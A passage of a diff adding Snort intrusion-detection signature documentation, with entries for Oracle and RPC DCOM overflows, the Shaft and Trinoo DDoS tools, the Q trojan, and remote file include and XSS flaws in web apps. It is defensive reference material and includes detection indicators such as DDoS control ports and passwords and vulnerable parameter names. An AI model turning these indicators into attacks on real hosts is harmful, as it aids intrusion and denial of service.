+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure add_priority_nchar
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3320.txt
+++ snort-2.8.5.2/doc/signatures/3320.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3320
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/184.txt
+++ snort-2.8.5.2/doc/signatures/184.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+184
+
+--
+Summary:
+Q is a Trojan Horse offering the attacker remote access to the victim 
+host. This event is generated when raw TCP packets are sent to the 
+victim server.
+
+--
+Impact:
+Possible theft of data and control of the targeted machine leading to a
+compromise of all resources the machine is connected to.
+
+--
+Detailed Information:
+This Trojan affects UNIX operating systems.
+
+The Trojan is controlled by sending raw packets (TCP/UDP/ICMP) to the 
+victim host containing commands to be run as root.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. The 
+attacker can then choose to send raw data to the victim via TCP/UDP/ICMP
+from the broadcast address of a class C network.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Traffic originating from a broadcast address should not be allowed from 
+external sources or from internal sources to external destinations. 
+Judicious use of firewall rules is necessary.
+
+--
+Contributors:
+Original Rule Writer Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Whitehats arachNIDS
+http://www.whitehats.com/info/IDS202
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000728.txt
+++ snort-2.8.5.2/doc/signatures/100000728.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000728
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "functions.inc" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "functions.inc" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2035.txt
+++ snort-2.8.5.2/doc/signatures/2035.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+2035
+
+--
+Summary:
+Network Status Monitor (NSM) is used to indicate wether a host is up or 
+for its status.
+
+--
+Impact:
+Intelligence gathering about the current state of a host and wether rpc 
+services are available.
+
+--
+Detailed Information:
+NSM runs on client machines and informs other hosts of the status of 
+that machine should a crash or reboot occur. Each remote application 
+using an rpc service can therefore register with the host when services 
+are once again available.
+
+A request made to a machine will indicate to the attacker the status of 
+that host and will also be indicative of rpc services being available. 
+The attacker might then continue to ascertain which rpc services are 
+being offered and then launch an attack on vulnerable daemons.
+
+--
+Affected Systems:
+Any system running the service.
+
+--
+Attack Scenarios:
+An attacker merely needs to request the status of the host using rpc.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow all RPC requests from external sources and use a firewall to 
+block access to RPC ports from outside the LAN.
+
+Use the hosts.allow file to restrict the hosts able to request the 
+status of the server.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Network Status Monitor Protocol, The Open Group:
+http://www.opengroup.org/onlinepubs/009629799/chap11.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/239.txt
+++ snort-2.8.5.2/doc/signatures/239.txt
@@ -0,0 +1,65 @@
+Rule:
+
+--
+Sid:
+239
+
+--
+Summary:
+This event is generated when a DDoS Shaft handler communicates with a Shaft agent.  It is also possible that this event may be generated when any host attempts to discover a Shaft agent.   
+
+--
+Impact:
+Attempted DDoS. If the listed source IP is in your network, it may be a Shaft handler or a host attempting to discover Shaft agents.  If the listed destination IP is in your network, it may be a Shaft agent.
+
+--
+Detailed Information:
+The Shaft DDoS uses a tiered structure of compromised hosts to coordinate and participate in a distributed denial of service attack. Handlers communicate with agents to direct them to launch attacks. A handler may communicate with an agent using a UDP packet to destination port 18753 with a content of "alive tijgu.  This communication checks if an agent is alive and uses a default password of "tijgu".
+
+--
+Affected Systems:
+Any Shaft compromised host.
+
+--
+Attack Scenarios:
+A Shaft handler needs to discover if an agent is alive before directing it to launch an attack.
+
+--
+Ease of Attack:
+Simple. Shaft code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Perform proper forensic analysis on the suspected compromised host to discover the means of compromise.
+
+Rebuild a confirmed compromised host.
+
+Use a packet-filtering firewall to block inappropriate traffic to the network to prevent hosts from being compromised.
+
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS255
+
+Miscellaneous:
+http://biocserver.cwru.edu/~jose/shaft_analysis/
+
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/231.txt
+++ snort-2.8.5.2/doc/signatures/231.txt
@@ -0,0 +1,70 @@
+Rule:
+--
+Sid:
+231
+
+--
+Summary:
+This event is generated when a pong packet for the Trinoo (aka trin00) 
+DDos suite is detected.
+
+--
+Impact:
+This may indicate a compromised system or be the prelude to a
+Distributed Denial of Service (DDoS) attack.
+
+--
+Detailed Information:
+Once a Trinoo client has been installed on a compromised machine and a master is
+ready and listening, the master sends a "png" (ping) command to its drones in 
+an attempt to enumerate the drone network. A functioning client will respond to 
+port 31335/udp with the text "PONG".
+
+Once a machine becomes part of a trin00 network, a Denial of Service (DoS) 
+is typically initiated against one (or more) victim machines.
+
+--
+Affected Systems:
+ 
+--
+Attack Scenarios:
+As part of a large scale attack against a machine or a network, an
+attacker will compromise large numbers of machines which will form the
+army that the trin00 master daemon will command.  The master daemon
+typically instructs the clients to send mass-quantities of packets to
+a set of victim hosts.  If the traffic is sufficient, the victim
+machines will become resource deprived and thus endure a DoS condition.
+
+--
+Ease of Attack:
+Simple. Trinoo client and master programs are widely available.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disconnect infected machine(s) from the network immediately.
+
+Use software to determine if a host has been compromised using a
+rootkit.
+
+--
+Contributors:
+Original rule writer unknown
+Snort documentation contributed by Jon Hart <warchild@spoofed.org>
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+SANS:
+http://www.sans.org/newlook/resources/IDFAQ/trinoo.htm
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000359.txt
+++ snort-2.8.5.2/doc/signatures/100000359.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000359
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Fastpublish CMS" application running on a webserver. Access to the file "drucken.php" using a remote file being passed as the "config[fsBase]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "config[fsBase]" parameter in the "drucken.php" script used by the "Fastpublish CMS" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Fastpublish CMS
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/100000467.txt
+++ snort-2.8.5.2/doc/signatures/100000467.txt
@@ -0,0 +1,72 @@
+Rule:
+
+--
+Sid:
+100000467
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "WebprojectDB" application running on a webserver. 
+Access to the file "nav.php" using a remote file being passed as the "INCDIR" 
+parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "INCDIR" parameter in the "nav.php" script used by the 
+"WebprojectDB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using WebprojectDB
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/265.txt
+++ snort-2.8.5.2/doc/signatures/265.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+265
+
+--
+Summary:
+This event is generated when spurious DNS traffic is detected on the network. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This event indicates that abnormal DNS traffic has been detected. The implications are varied and careful investigation of the source and destination should be undertaken.
+
+This may be the result of an improperly configured DNS server or it may be an indication that an attack against the DNS server is underway.
+
+--
+Affected Systems:
+Any DNS server.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Simple to Difficult depending on the DNS implementation.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+Keep all DNS software up to date and correctly configured.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3252.txt
+++ snort-2.8.5.2/doc/signatures/3252.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3252
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/487.txt
+++ snort-2.8.5.2/doc/signatures/487.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+
+Sid:
+486
+
+--
+
+Summary:
+This event is generated when an ICMP destination unreachable
+(Communication with Destination Host is Administratively Prohibited)
+datagram is detected on the network.  
+
+--
+
+Impact:
+This message is generated when a datagram failed to traverse the
+network.  This could be an indication of routing or network problems.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large
+numbers of these messages on the network could indication routing
+problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None known.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None known.
+
+--
+
+False Negatives:
+None known.
+
+--
+
+Corrective Action:
+This rule detects informational network information, so no corrective
+action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None.
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000534.txt
+++ snort-2.8.5.2/doc/signatures/100000534.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+100000534
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "VUBB" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "user" parameter in the "english.php" script 
+used by the "VUBB" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using VUBB
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1580.txt
+++ snort-2.8.5.2/doc/signatures/1580.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1580
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3004.txt
+++ snort-2.8.5.2/doc/signatures/3004.txt
@@ -0,0 +1,70 @@
+Rule:  
+
+--
+Sid:
+3004
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in the Microsoft implementation of the ASN.1 Library.
+
+--
+Impact:
+Serious. Execution of arbitrary code, DoS.
+
+--
+Detailed Information:
+A buffer overflow condition in the Microsoft implementation of the ASN.1 
+Library. It may be possible for an attacker to exploit this condition by 
+sending specially crafted authentication packets to a host running a 
+vulnerable operating system.
+
+When the taget system decodes the ASN.1 data, exploit code may be included 
+in the data that may be excuted on the host with system level privileges. 
+Alternatively, the malformed data may cause the service to become 
+unresponsive thus causing the DoS condition to occur.
+
+--
+Affected Systems:
+	Microsoft Windows NT
+	Microsoft Windows NT Terminal Server Edition
+	Microsoft Windows 2000
+	Microsoft Windows XP
+	Microsoft Windows 2003
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+CVE
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0818
+
+US-CERT
+http://www.us-cert.gov/cas/techalerts/TA04-041A.html
+
+Microsoft
+http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms04-007.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-20.txt
+++ snort-2.8.5.2/doc/signatures/122-20.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-20
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a udp
+distributed portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000831.txt
+++ snort-2.8.5.2/doc/signatures/100000831.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000831
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "HiveMail" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "data[to]" parameter in the "compose.email.php" script used by the "HiveMail" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using HiveMail
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2243.txt
+++ snort-2.8.5.2/doc/signatures/2243.txt
@@ -0,0 +1,57 @@
+Rule:  
+
+--
+Sid:
+2243
+
+--
+Summary:
+This event is generated when an attempt is made to access the web cgi
+application ndcgi.exe.
+
+--
+Impact:
+Session hijacking. Unauthorized access to resources.
+
+--
+Detailed Information:
+Certain versions of Netdynamics web application present an attacker with
+the opportunity to steal session IDs and hijack user sessions from the
+information contained in the SPIDERSESSION and uniqueValue variables.
+
+--
+Affected Systems:
+	Netdynamics 4.x through 5.x
+
+--
+Attack Scenarios:
+The attacker can gain the information necessary to login using valid
+user credentials by reading the information contained in the
+SPIDERSESSION and uniqueValue variables.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2222.txt
+++ snort-2.8.5.2/doc/signatures/2222.txt
@@ -0,0 +1,54 @@
+Rule:  
+
+--
+Sid:
+2222
+
+--
+Summary:
+This event is generated when an attempt is made to access nph-exploitscanget.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting or policy bypass vulnerability in Exploit Labs Wood's Infinity Scan EZ 3.69 or The Infinity Project Infinity CGI Exploit Scanner 3.11 Beta.
+
+--
+Impact:
+At the minimum, a bypass of scanning policies which may lead to a future compromise of the server. At the maximum, remote execution of arbitrary code on a client machine.
+
+--
+Detailed Information:
+The Exploit Labs Wood's Infinity Scan EZ 3.69 and The Infinity Project Infinity CGI Exploit Scanner 3.11 Beta Internet vulnerability scanners contain multiple vulnerabilities. One vulnerability is the bypassing of scanning policies configured by the software, which may enable an attacker to scan systems that have been configured to disallow scans. In addition, these scanners contain cross-site scripting vulnerabilities that allow an attacker to craft a URL that, when activated by a legitimate user, executes malicious code on the user's computer with the security context of the server that is hosting the scanner software.
+
+--
+Affected Systems:
+Any system running Exploit Labs Wood's Infinity Scan EZ 3.69 or The Infinity Project Infinity CGI Exploit Scanner 3.11 Beta, or any user who activates a specially-crafted hyperlink to the system.
+
+--
+Attack Scenarios:
+An attacker crafts a hyperlink to a server running vulnerable scanner software that contains malicious code. When an unsuspecting user activates the hyperlink, arbitrary code may be run on the user's computer with the security context of the scanner server.
+
+--
+Ease of Attack:
+Simple. An exploit exists for the cross-site scripting vulnerability; no exploit is required for the policy bypass vulnerability.
+
+--
+False Positives:
+If a legitimate remote user accesses nph-exploitscanget.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+It is not known if these vulnerabilities have been patched or fixed in later versions. Contact the vendor for more information.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000661.txt
+++ snort-2.8.5.2/doc/signatures/100000661.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+100000661
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site 
+scripting vulnerability in the "MyPHP Guestbook" application running on a 
+webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site 
+scripting vulnerability via the "email" parameter in the "edit.php" script used 
+by the "MyPHP Guestbook" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to retrieve sensitive data, execute system binaries 
+or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using MyPHP Guestbook
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a 
+user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
